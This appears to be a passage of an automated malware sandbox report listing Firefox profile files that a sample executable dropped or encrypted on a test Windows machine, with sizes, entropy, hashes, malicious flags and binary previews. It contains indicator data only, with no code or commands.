Preview:	mozLz...pQd..h...?..5.O]..?.O0rVHN.......:...v.'.....-......\|.....M4.7I...o.M.R..lK....'..q..&_(4d."2.x/..a.--.s...L..A]Vf.7..h.rJ.V=.LJR^.H.....c....Tj..>.y.)@... .Ml8.../...s..).F.[.....5`4v.^J8~g.....h.k.#[...'!Z..f.<.7...4C..V.70...\|...T...6......\./.n..cWk.E...iO.</.kY...?.N`..v\|'......=...dV=$cO!1..*_{.C...X..c.j>o.A.....a...g.%.'s.2......1..M.U..&Q......W....Z;.=......?.,....!.6.}.Kq.1:..%-......uO.M..6W.y(?D.+....-..i.....+.MCUOC............B..h....Dzwq9...........^>.2b.k.......e..$..y.8Yg`y..cnM.1~.~..L..!D.1f4...=.:.z....[.P~i2g.8.N.H.....Q.....po.M.....?(......U0.8M....D.$mA..9O.n.9....!.{&<..T...5.X.pr..&..V..6[..Jw... T=.R.tw.,m+.5^....b.D#.d...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.01c0ecdb-8e59-4210-95f1-0fd0406e84ad.event.jsonlz4

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4477
Entropy (8bit):	7.9562501462270445
Encrypted:	false
SSDEEP:	96:IScM5Lk/r2ySgitgKusc3suspaciuzh1Jm1Fa99NB06zQ/xwR7orGz:Dc/Sg2g1sc3s10eh1rXMD/qR7oaz
MD5:	3129D20545776E4F7ACE5E51CDF6D70C
SHA1:	75847D1CAC283BC09DB7A8A993B38AC19B301D12
SHA-256:	DCEE901E001B9C283CE3DF2A512EA51AF0885F7BA18B168C6A561DA3CC04C317
SHA-512:	D0279CB8286C10E28901DFC417DC29497727347637CBFF305366742DFF2165D1F6F6D60720AB4D9342C2AA2AEA06EEC049C6FF2FA32652B7236E6F5C75CB4845
Malicious:	false
Preview:	mozLz Xe...J\|a.rr. ..fV.......l.h.LB... ....'O!.2Q...2..c;))c..<....!.f...P=..a.-..;._l...j......-........[.ssZWM....p...."r.@R4.o.C0z....k....7..z!.I....~i..Hb......Q..LE./s:q...L.SKC.f.@..z...Q....?;.4.m.].W.G...O.l...YK.~r.,l..X.L..........C...X\|...&.Y .8..5....d...\.....................M.....3..r...!.._....go...&....o.V.QnXA.9.._..1+..!dI.y..;.j3...U..\|......}M,b......H..m.x.)....F.........5....<...:...PW.....E.5.}.tSh..Dj.vG..2..QV.W8.U.X+.R.,...L...{.<....k.02J.s/.qz..-=...o....4:.M..Q.u@...@.,U-......'Ll/e+...a.@..!zD..%...{......s3k.../.B.....QP+.z.]..0.J....V%...;.uK&...+C.\.5.........D.O/.{j.3..........W2......t.[..\PB.i....y.=......JM...7..."......a...>.....4...M..2......).._.....0.-.-..2.V....i.k.L..%....e...x..........h..<..y..X..G..b..)\..+..}.m.i/..~..x.e-X.G_Y...)...4.~Z].D...u.X..$...t...n.BC.hS.[..4....g..7W.T...8...y..!.?(..y.`r...h.$...+..rlFHqG!.......<a..-.u......P....]....8....../... .......a..xKoI.D...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.86be03dd-6b03-42f5-89cd-4606f43d25ad.health.jsonlz4

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.715289273823382
Encrypted:	false
SSDEEP:	24:9p9XVsdrwcZrrhKkGGxn1Gsq1AvUPSNHs9pbD:zsxZLljhI//+iJD
MD5:	2117633CC3FBC7E9F52BEA4D6EDDD858
SHA1:	07ED9110C3E9F1334EE2637277516D3E9E009EEA
SHA-256:	24428FACCCBC97649E661CD8C6BB99207247DFD86AABBC422E0168FDFD4D9761
SHA-512:	70D8C855A9E08C51C87B21201DDAD13E84678BEE5E94AD48A7A8FC1DE8B34CA43D4294831172A9AFD8114125E606D2D34F42B4161E8738DA2B732148F4C463FB
Malicious:	false
Preview:	mozLzB../..\|+."..E....../.jq.TP..[..D.x.\.4-W8.l./..../.'.+O`V.<....6.N.e.+dK.)........2.iBS.....R.C#...(....W.l....QaK.....?.b...[A.V.J.I...$_(f.C..s.<\)....2...<\|XZ.).....Bu..G.E.G.G.E%A.\.!.E.D.}..=...5\.Zn.O........R..4.....f..Q..a....u0~f..N`X..H.E\.v...nf..5..C...P.6(....ZKw.{...zk..0.OQ.....",..y.@>R=..R......c...zB..;.J.....%....Z.?...FQ....6......?..w<..Q.O...Z..7dw P.1uB...# ...*+..J.l.k..E.e".)h.&p..="...$q..yV..h.......GQ...A....U.%C.....}.g.x}.......?....},.R.A..~..`.[uf.m7.(....M.V..+ l....M................5{...Z.UQ..{xJ:.rPQ5.M...\.0.7uW.b..f..6od.W.M.o.bG....H..;G..(..."...=..c.....=..z.DK.g.ex-QSY$ ..]...6.D......<...B.>...F...OI .VAZ.sxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840748.a8c1f564-c2e2-4ef8-a85f-52a56488f193.main.jsonlz4

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	15331
Entropy (8bit):	7.989001586492634
Encrypted:	false
SSDEEP:	384:EPlk8zC+5geQM6g/pp1se/p8k9abS9f5kjwIfU/6fSI5:yk8mcg3Mvhpbp8kgu5HI8yfz
MD5:	9422FA4556CC522E5BA57D29D682D4C9
SHA1:	0113A8186670FC397517D027746B8C95B79A6361
SHA-256:	EFBB21DFFC317C368C33A247AD8F0BA7ABA1F9FDD4B478F72D1C7118F1ECA8A9
SHA-512:	B8FC454B41AC9E19CE5B822308E3AC3419F0B50EE8585B09378BEB15B5571E697CFBDC3A2BAF122645595D2FC756E238D8A9DAA6C448BD14277AF98542B26C10
Malicious:	false
Preview:	mozLz....Ll.\|X.D...3... ...9.l..^.[T..\02v......l.....t.i.bt.....f.U)..#l.YAiL..............=8.........PD.7....KF......f6...g......^.H.[...f2.RK.S.....%?.R.A]...^...)..k...zLUY.&...;c..........._.......#...<....).@=...,..^.....:6ZU ...}>`v......].5..O..p.Y.....isJ...../..)!..c]".]l.....2d}.~^.a8%.d?d.......K'N.......:...A......38..C[..^o...x...Q..I.tu..:............Y.;.}.dO......z9..M.........R..5.U[.lt..5(b.W.W.J....&..RA3...WI...s....?.,:6..CC)V.n.G>.......z..Mo."....y...c...F...B.....pI........e..N.h.-...f..K:.....h.Yl.O.P..N....~%.WX.A.LaK.)..(....}..d..:"}.5...+,.oV-...?....\....9..8.....{.._...;ABP,\w9?,.i..:].j..<k?>.~$....r..z.b.;.G..Zc(.......h]y.Je./ZT_z@.F..\B.........x2.........h..:.8..Nr.[.d.4.p.....y.{\|}.b6....v.77......+I..M..D..O....S$+S.owq...R.'....a.A.x.pH........N.S..}........<.j.9.?.?t......:./..W~l.c.PR%..5k5..v...T.."...)J._.5..z@...A...?.SAAK^. .R#..y........3...wW.&.7!..v.+C..i..:..=P.s..\|B..~.JA....<;].B

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\data.safe.bin

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	13637
Entropy (8bit):	7.98630585673094
Encrypted:	false
SSDEEP:	384:aDcE1YAHTlSj0aNG6ngISEKDIlVgs8TSpo:9E1YEIjzBg5JWo
MD5:	4FD2CEEE6893850EFEDE5F293E7FE3B0
SHA1:	6F7253781B6B6559B2E22EE5EDD4E6D575D96A61
SHA-256:	0E35021A80817D70B9E3B602D2710E99BE9C9D5ECE21F85A9B394268343330E0
SHA-512:	9329E11AFB9877D066A9732DC06D3C5D9A3C9326C40447A234B871507A0D61B5786BBBC9AD7D30CF141E0B1888AA1DBE4CB5D5E67B3F861AC13A7882B1064351
Malicious:	false
Preview:	.....P.2t...G...Y6......._.t7ie~@..a.@zp......2...Z..=-TZ..%U6. ...F..../.Tk.-a.ei...).v.....rC.LN....".....F[D2.....3...Dg..99.W.cM...{F...\.QP...........?'.~.Vj..C.p.8m...l.^....q...>'Ps..I..w..-.j7...0U..rt....C....fK..?W..Rkf....:A...x..%Y../.'.c\|._...{ .}.u..x.......o..q.......40LrK8R..../.r...U.1:.>....62. >...-.......4.l........8.1"...e...."f.x....t....6.s..U..Hc..5.. <.2.^.N.....f.u~..V..$s..+..uG:0..._E.Q......P(...I.g....t.}K.Z.Se....cs..p.w.R.i}.O.<....,..\|.....`g......\}#.}....)o.5.E../5j...l..G...{..p.g...d`Q.3'k....@.H#.....wO.."..3.F.%.x.u.?..s.Zx~.8..)L...b%..3B...&;..6.Q>uo.?.'....r7j.B+)V....dz_.f</<...G`q..2m..S.u.+p......I....5ZG(i..s./....T.1.;..M.....u,..].D.....X.....uY..O...!....A.sz?F..p".p..VH....2....f0.... i....T.$.8...~.3Lh.@.S/..........D..a..LL...LF...W.a/....:.d.6..`...w.e..S...f._.d.S...T..d..xeR..T..G..S...A80..WO.......R....%......@ ....8.V\|.g `......#.{).......C;..Y......q=T.....i.KH.V...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.460828789296063
Encrypted:	false
SSDEEP:	12:YWwW6nzbgjqkz/4WdLRTlmOlqgrmtiD9M2cii9a:YQ6nVcLRTl7lrmtiD9pbD
MD5:	26A91B1634520B95A64BFC0BCE880F47
SHA1:	15910D62E7FEBFB89ABCDAEF6D0D6A5B94B92D78
SHA-256:	9B88979025620D5A515E8D19DBB89659590D3D9F2BB32EFC28012C665445B8C8
SHA-512:	EA712E88DA544DB770FC65B7DBBCC8ECB772D61C90255C0803CB410ADFA04C5A5FAFD3A50E9EE10ED8286015A2EE4884E2CDF6D00EA3CCE6EC79F9618580B06A
Malicious:	false
Preview:	{"ses......C.V....!h..!.%...:j..C.S.E6.r,.G..tq_o...w.....ByLrI]...Q.dQ.<.....#3... ..C.k...r.d.. O.2K....]....r!.RyK...v..`.e".c..4..~=_9^;.^.Z.P..m;...\|.G.(..%...<ug....<...w..f.1..9....nC..E....C{...t.n.....3..;....V.A....9...X.mv.7.:).f.....#P.>.8..a%\|L.;.~xF..#..1Y..kK#.8.;NU.......$.d.\|8}..A.S...D......D.x.9.M..z..?9...G.hL...x:{..f..... ..es.P<...s:-p........'SH...fB.........s..;3..-axcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.324621373337472
Encrypted:	false
SSDEEP:	12:YG0f/ZWnD4e/O4iX4UEH1v8lpieVK/eIq9M2cii9a:YXhM0eaoUOEpNwGb9pbD
MD5:	DE3D446EA5C47844F47833389E0E67B7
SHA1:	3EC825455F3D66025462A49CD29BA018BA45D83A
SHA-256:	B6ECCB5A48658766956A8C2D75D3BD3B84C7D6772BA4D412895279C21E48D948
SHA-512:	07F550DC9F1D5232F612C597F17FB9BC308F6708181A93C03E8F2CD98CB4D0D630FF685D741E6289B1BC27BBBF553CFED663B10D9A84214F84A4805ECFFA3E46
Malicious:	false
Preview:	{"cli...X.M'uM.[..)6.m.U....kE.`.....*...>...b..?7.......Y....Xd.y.:..>.d..`..I./HB....C.d.......`p.S.0..y5rQ]...1.%w..:.#]u.S...G.}..C&O.....".rjr]l...y...=f.......~..../....O..1......1~..qE..i....&.5.E........".xC"._.'..I.'.:....t@...QU.{.A.E#.._~..k1.K.w.\.v...=....p!.+..{.}...............xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4670
Entropy (8bit):	7.952976516201077
Encrypted:	false
SSDEEP:	96:5VOMkPi8SIrE8nt78ejLeOpINUCwtKyg7dR5TP88K79TnTsGtvR2oOv:5wI8RrE2tY/RxwtEdn8lTsGyoOv
MD5:	6D65453C618ABEF80245BD87871E4896
SHA1:	7F11D963EC77CCD10187B1D9D3D24F934F76CFF1
SHA-256:	6BCEA8804CEFCA40D1B1E8A0D795B7474FF1556193DDE37D17CA376DEC898C0E
SHA-512:	D3DB6F039F1BB498B772E4E184F1FFD81ACE842F85E2C3CB72ABA69614C9508FD785BD1B9E9492D4A2C8804AA4FC9F9C6E6CE9865843844341A4A167AE5E4389
Malicious:	false
Preview:	mozLzw.%..HK.>?.../ w^O>..s^..U.f.Be..8^...6...4........'.#J-.h....)...+..O.....P..?/..3ww-..v]...}........G.x.}....Qa..V^k...Q.c.........-i.28..O.\|YH. ..5.3e8`...U>.k]$...b^-..'.d....6..........!..............W.}.Y..#......r-.si...q..9o..[.0K.H..cD.[....S...w..s.E.%.2G].:&h..H........i...M....0...#4.W.....t..t..S..............8w..T.@.x.'.W..9.k.....~.[....2.^....0-,.aR..c..DM..i;.Z.[]...._."B....h6y.eAq.]<.T%..p..+..y."...<...id.o.}........M......j.5C.7.'t}..$....v.d......{u.......S...&...L......KZ^s.rC.c......w5.....I.`$.....9.u..Tm....o..j_..)..EG.0.^..hL..O7.b..be@U.......p....JsO..Cd..R.=..z?..fh....8...\..G.T~.}.......Y..jq....)..B..{.B..o..Y.$..).........8..X....oEi!.^....)......a..~.6.I..j{.Y.Kj5...b....o...R......R...hV-.........'.] .`x.L.v..BQ.. ....\..!..H.t...s...hiC...8.3.......c.;........;.Upu.........#fI..\|....P..`<fl>..lT.g...K..p0.y]...f.6'..+...N..:.ga.O.t.....9....P1.[6BD.. .@.....].d..]...WT...H........R...m..p{.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4670
Entropy (8bit):	7.954931616181528
Encrypted:	false
SSDEEP:	96:Sm5GxDWkYZbkkeD+0sbeYB5yaEdDszZtdcFfY7kkTYmum:1WDWvZkJqbeYHE+zZPcFf+koxum
MD5:	0E1814B2D80FCEC9D3B576FE45309315
SHA1:	EAA9472FEDF33E512D4C175875A11ACE874A3BE3
SHA-256:	462E31766B7158FA5491B8FD7A6283DC165545B8DC5F252312639FFFB3B60469
SHA-512:	A5AD587E317FEA60CC1AD4D09FDE6A3FBE6978C1C13FBB14B84A67F3BB4EECF9C76E6DCF79D83B1AA26C99EA3E2B28ABE1067C51C38108D2631B8DE2F27ED6E4
Malicious:	false
Preview:	mozLz!b...w.....x.....bV..(..1....^....2..S..K.OO..n..WQ..].....d..,4.Ak.2.5G....7....\.3.v.......1i.lLV.b.$.....c.~T...T@.}.Q.}.f.....:..+._..=..t..V..8%?.&..rzaq....~y....z.@P.Z.m.65.}..._ ..Eqzk.LN.7...9..$.c......Za..e..\M=.}..\|y..........B....2.?~....y...:"(.d?..{1:._Q..&..q...?...Y-r.8....+.Ml..M...l.3..+w]G.......k.+f?..?Xif......[F...C..knj.d.G.4..u%..pg...1\|.?_..y...0u(...+?=..zN....HNo&.....T'..\ajn..>.mi.....b......mkg..o.h.F.....H s.K.G..o.\.....rb.....Na.....7.@bv.=...s..~Q..s...?.F4.U..'.w..G.QJ??........Y.ak".V..fp....si..<...".]......!'n..".\|.,E..i)=&.).@K..<...k.....%....eo.t..1[...Ns..k..JM..Rq..C...O...hY.j,....).......c.....gj3.......}.a.0.1..qO.gQe...!.C........H....Z........N..v.....v.y....B...k.\.%.6.l..e .w(>d;K.'.s.. Z..a.a[.v..G..(...c.<.P.\..U...f...$...._..Gk.0.....t...QJ.....q>..p....h.R.....1.....]s.@.,.0..sl".i..P'..a..c..e..o...h..Y.U.J.....LujJ..s..Wn98M4<..V.....BE.l.`..U.(p.9...c.0.g..~..&\.x..'.b

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998335143237234
Encrypted:	true
SSDEEP:	3072:XF5xOrlL8ix72r73Jqjs48IbFOWm6e+9bOjKs0P9W/nG+lrnGN:T6lL8iorojsUxDmq9qjhc6nnGN
MD5:	63D097CEF719827FA0FCB1C52A1530A4
SHA1:	871FE415DD47A2F29CDA381A2F3C46F9B96AF659
SHA-256:	7254707985A6D6BE4D03C1FCFED5D8F511416E92E7105DECAD4C505260211CB4
SHA-512:	EB0E77EA45FAA392BF2B0087B2D25182166B9111085E7A8631D92E0CF25E2C39DD691F6B5D1A72E6CE80541058D822C7AD335267E77A5E0CBDE14CA3FD2E8632
Malicious:	true
Preview:	SQLit.......=&/j.....n...s..?'.-.^.z..h.fjg.......M.X...m=.,E......8...^v...A......?/L.%F`..;...tK..~WKr..b......=.?.7 ..".S[.?@....q...../.Y.&...."...s.....K.\|..tv}KV...cMX9...4......G.O.h.!a......!I..TCH!.p.Q.A.....vrdZi....U.g+..!...3!.....l E.6..&../cJ.p.;w#IY..b.....B..Uy..........).\T...C...<-.(8..).2.:...\|..8..._.6;{.6..p....p!Y....D..Y.),.(.....E5/Or..c.......O<.q"h.._8.Ln...B....dQ.9#....q.....X...._......z.H.. .O.w........8...%..2.IN..:L%..RO...Q.!..O.H2pa....(..."..t....$\.41.1!.,.kw..\|D...L6z5......r..8D..........dy........U^..a.r..0......r_!.%.}5...u.!..I0p.b8+.7.Z...-.u9$..4.a.Y.../Z...AAn..]..j. ]....ewD......_..!..OR...!..An...4...,.KD.P.R.mo...\|...l.X.#...C...6M.XYu..o.......hh.'...~.V....../C.e....68....6T]...O};.'0......z.g.....;.J>..0.x..!3Z.Nlt...~...N:..B..aQ...R...X.x..?...vn.$..F.3..`....K....<..A..........jU....Q....p..;..I*..Z...W#.;b8..h..o.C...W$.M...6.+......h..j..8.-.c..j:.Z...v.m../.v....w...........8.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\.metadata-v2

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	TTComp archive data, binary, 4K dictionary
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.2778220365203445
Encrypted:	false
SSDEEP:	6:8huijPk/JLfnjmHbOirHBFn8hP+pIxDpV4WqmMVNsi2zsD/a2r9Hs2xcii96Z:VijPG1mHb5TzN2DGmMVmtsmu9M2cii9a
MD5:	3AE33AD5CF40191BF9E2C395A20182A6
SHA1:	BB3A88416B7EA208EEC866E17991FAB7E1FC1DE7
SHA-256:	2E1C34DDE8F195F14400036D5FC1DAFA0ABB209B6DC1C34AB29EEF3087BEF246
SHA-512:	CDED4613C876EB17C79306115EFD7374B578495AD80438A84220019013B4C78B9DCECDD3B0B822ED872CEB6FDB7350B94F1013B59F999ED163DE470B8ABA8AB2
Malicious:	false
Preview:	....&_J..f..h...^..66..ft.3...o.#.oF.!...{o..%O.?u5....E..+......T....Eh...a.y.f.....S..F5.{\|.Mw...-IU."g0...x..#.`5....k%..#.j...z.fO.f2.....s.[...i..9....$.._{..(...~#....L.3g.HQ;Z.y7..D&..l.......)[. ...7..T(..f..y;..=E...Fl...o$...KU...d...i4..^..4..h..6Z.....6.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996203103188314
Encrypted:	true
SSDEEP:	768:Zqd/qDKyBGfRvuHoXO43I4mzN79aVYAwAdzUyfj6od5rk1ZpSuAIxIXueP02FzWZ:+iDKTIHS4Tp9bAdUUj6ork1rnO+e8iYV
MD5:	AFCC56D6847CE57AE3743BEADBC5E49B
SHA1:	181B53085AC86D2F887ABFE168EF514670652C04
SHA-256:	4DB4A87CB9064166B4249F3FF9B4E15DA56F339700B70623C105D1D13AB6FF92
SHA-512:	9E02C486697767A6CB732E074F8F2A37B5C62DF5CC48973D8B278915BDC53F02C2BFAFB38EFBD834D6C8F6DBB9E43697DE4E84BC2C4CFF7FDC140D5E0839FB74
Malicious:	true
Preview:	SQLit.V.E..<...es....F=x...K.....}.a.....K9..7..(...."......w........U..C,K.Sk.......F...f.D.._p.....(#bx-...SD.....<l....e.".q...S..]d...@.h..+b.".<P.o..dwd'X.IG..@...~.]..V.#..P.X.....)AvO}(...1....=.".....n5hB8..]Pq$..../..........YN.,...~..Co-..8y...`+.E.].c.......l......,..k./...52.....4+.Q.7w.3.w.[!o#...)...8Z..@\|.......f..9....P....[..ew..8..Y.?/.tC...yo<..7........<.bi... .e..3....i5Y%&..\.~.kQ.....{+ ..4.m.Uo....`.{._.+a<.tQ.n....=!U.+.E.-...t.$N.<.;....W..[."..-$.....x..(..8......Y+m..\|..#<.s..O\...N.'.k(.1.C.......u.R..a.g..E$5..wh...b....r.\..!&-.e[...8x.....^...?.> ........&...W....P.~V...2dJ~m.1...G...D.([25.w..3..6.p.......S'S..7....8.]}.c...K.`...Cy\O.Z..d.........K..g..Z.g.ps.a..^A...M7.;#.....+..u...T.0#.t...P..'."....A..1.z7.r.="....[.U...[.X.#..8.).c.'...;..~...B......u.j.ON...+.~.5..PB.w.Z......3..d.D....-r,)x.W.T}...-.W....."..?0E..U.C,....De.a.....q.q16.u.1.U..N.F...d.zM[.(..t{......+....3AF.%z.._T7n.SVR.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.9950816767250465
Encrypted:	true
SSDEEP:	384:wmw0LSDhlhxYDJ9hzqXQ96+pCs6s2iQAgEZhylFv99GGhsKZgRTHxIOYX1c8UKQ9:wm3SDhlPYZzDSs2OgEi6GhT/X1YKQBj
MD5:	4953715172010D95CC23AF41369E6789
SHA1:	39A2B2AADBB8B2C7168D318C9036F4D3391914D1
SHA-256:	80A4F0587C44A315C0B08531D64F236FD85D0CC5DA44289026A09EB43DFFD18F
SHA-512:	6BE3982245AAE192E7469C53559E372294D989BEF72E96F9A693ED824CE58158365FF2B0C5E99EAD03655BED495143BA48EA1FD1BAB71089B8448E50D49EACF9
Malicious:	true
Preview:	..-...'._...h.......a.U.....6xS.nE.....io..EH..U...bf..I....p.=.v.G...`.dc/.@~.'A.....g.I...rM..(............U.G.........tx.l..Hx.F.[.....J.\=........0.OaGU' .8..S...A..v._F._.&-\|J.o.....t.t...h.\|.K\|..T.G...$.*...7.i....(.q_v..N.IX5.2.lG^..xT@dmqKO...r.Zu.S..J~.......[N.............W....\......E.:F...S~..n...-. H......:...8F.F..B.@..9^`'2.~..?Q;.+.2u6..M2.2/2p!/... .i.....Q.Es.q....S?.u.Z8[..BZ.d..Nm..UuN'...>Z!}.....U.hV........p.EB.FN.R....}Z.p+I..z....3aHJ..7)P...`......46$=z...0.2GT?'..}.g..;s5.!.LG.4.?.-...H..(....#.p...b.Q..@U.]...#. ...T;..+....F.4(.8..9..G..G..@.".5r...wc.Tn;.........w...']....l.Dc0k..b.6.y......h..B.w.>..F.x....H.....d.L..3p.I%b..n._o=..W.>a;.D...L.......9.gC..z..g.X$c~...!.$.Z..s%.28..[..#^......O(/..B.,..`...ky%.aa.Or..=....bGl..s.....G.........xz..O2...Q/]2..c...a...ni...r.F..].....I..E.9[..e(0.^h..-}.nz.a<.q......)Z..]...4u....q...p..G.x...A.......B.Ph%....C.Q..V....K...H1Dj7A..um..\|S.n...n..Yi..@

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995945429401888
Encrypted:	true
SSDEEP:	1536:8d0GX2hkm+OpBZy6G+y6F/GfkLkA31S+0p:8mGUjMf6lmk4YS+0p
MD5:	6E0D7F63CC3AA2B3992A04EEEAF54379
SHA1:	F4056BAA7E11149866A0B7851F2FA5399448B21B
SHA-256:	1ED4B01DFE922AE462C640E8E92CE23882EDE16E5009F386A58A1D8192775F2E
SHA-512:	F04DA995B21837E63AAA13D77999AE72687D007CFECD50471FAF5B9BCFCA3BF2905C5BE4B7B74EC9C68196930F4094F61CA2C761A7577540C2D55EDF7F5844B7
Malicious:	true
Preview:	SQLitw.&D..4}.../2...c.-.e.;S....TR.r....f..3..........,....b.l\|....uC}.-..<.X.qM.E..7r..........NZ..Z.%.U..+fO..'.(.-=Z....6.2........Z.k...-...R.....2'`......KV\|...;/...].5..B.W.a.y.a...:B.#[^.8.Q../;{.Mo.:z'.,z.D..T....v.+.y...7..^.R....X.;@..88u.!...lZ...E.#.\|.o.#u.?.M..4...... ....s..W........l.2.=o.x.>x.c...... ..{....YG..P.....z...E.........h...Y.S...l......p]p....C.[.Pu......`/.:[.........^.3Cy.g+.._iI..+..o..t.S.._J...OaL.9K.}..v.j."{.W.+..6A.w..X....S.m##.'.......Ip.J-..........V..K#f.....19...H\|.yT..2~B.(x...D..E.....8...{.SL..+...!...2'U..p....$..v^sr.>G..&......K.._KX.....2.}..x...x.#...U...[h.;.Y;(./...-.k...j1.~zl.Zh..2.d.b.G1'.h.TN...#....k...-@..;.@.\|R.'..3.....{.k.L.5.M}<...N.e...i.....hDa.}.2..X..?...ns.Z....,....-.`A..;.L.....P.......S.w`g..k8'..0...=.5.h....n..\|i.......&.heU".wv..RT.Y3h... XlP..$..w..~.+<y-69..u...OP...].7..Q..5..3..N...........u..kO....9...UH..\|......x`..*D..-...o..s..j......x?.X.".Uh.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994864245416631
Encrypted:	true
SSDEEP:	768:Iz8yjkqNNufNf2MnrgQ5EJwzTh0FyrmuTdIMq2yKUNUgBmBLpz:Iz8yI/fhrgbg0omuTdHTUNUwmB9z
MD5:	4ADEE26B414CC6188063ED379686E9D6
SHA1:	6B143E4F1574D2EF489E9B699FAFF1CAD91F3C5D
SHA-256:	E701EDD4EAA4BEC118A068E97911DCB84767F07098A4D78916DBCA74DEC6549C
SHA-512:	D260C02FC7003A600AA4A4F9C0A81E18C0681110729B1292192F420786ABEE848BBF59D68B4D60E343B1109F3A29FE5F91E31C7ADB7265406A07D60ADA00685B
Malicious:	true
Preview:	..-......"hk.........q......j!.X..S..j.....RN".......(=.A.(Uj..n......bz.$..hwJ.4.<=..j.M.?.Z.Iv...a.x.g..(d..3.&...^..g..v..:...q1...R...Q....Y.e....Z..i.O.`hfB=..qV330^..#_'W....<..z..x.6E...-$m.....F.6..Go..Z......?..)....g<!.TA.Zb.F._.....As{d.)...#...O.(^.q"..?i.-.w...$........H.x.{tZ.........R{....U.........t_.W......1O1.Y...x.{.R.ed....x..b{.>....}.Z.....%...G.M....j....6.Z..8.....?C.o......S.$..3.';.O.N...~.N..tp...EW"l......2...p..".h...P..G.;.}..g..ITk..Q.&.6....".p....ZIi.2.......}.~....w.6.Pt..xZ..mn...C.S....A..}....Sp.. E...6.a.7.i.~..{.....P...TN3.3-..oZ...1.=.S1.h..>.K.cmHM6:yX....~V...}9.;z<.x....e.x....{.,.M'/z.UI...t..;.......f.$.9?Ke.....).F.-.Y1.&.....m..,. +fS{...y.2{a}b..$...W5Rv.........7.g0...^.G{_.:..B..........O.......\|. ..4.`.qb.....a"A........5....lk...2..e.F.?D..........*.V.......6d.A.=...\|...?z.]v!CysL...a..%A.l............{.....Y.u =G......SCL..i...._....2.pvF....\|n._r._...k>.1...`..,..q.}.2...H.p8

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.99545199693018
Encrypted:	true
SSDEEP:	1536:pQuAyKXRm6wJZTY3sg5rMXunUEeolLbiFOuiC9:pQxRmbpYcgvBeolag5u
MD5:	EEAE4EE2E16BC791F5B1F9EE9BA2F29C
SHA1:	332F4FEA21E1D4FC0038F73EE6CEC5749324168E
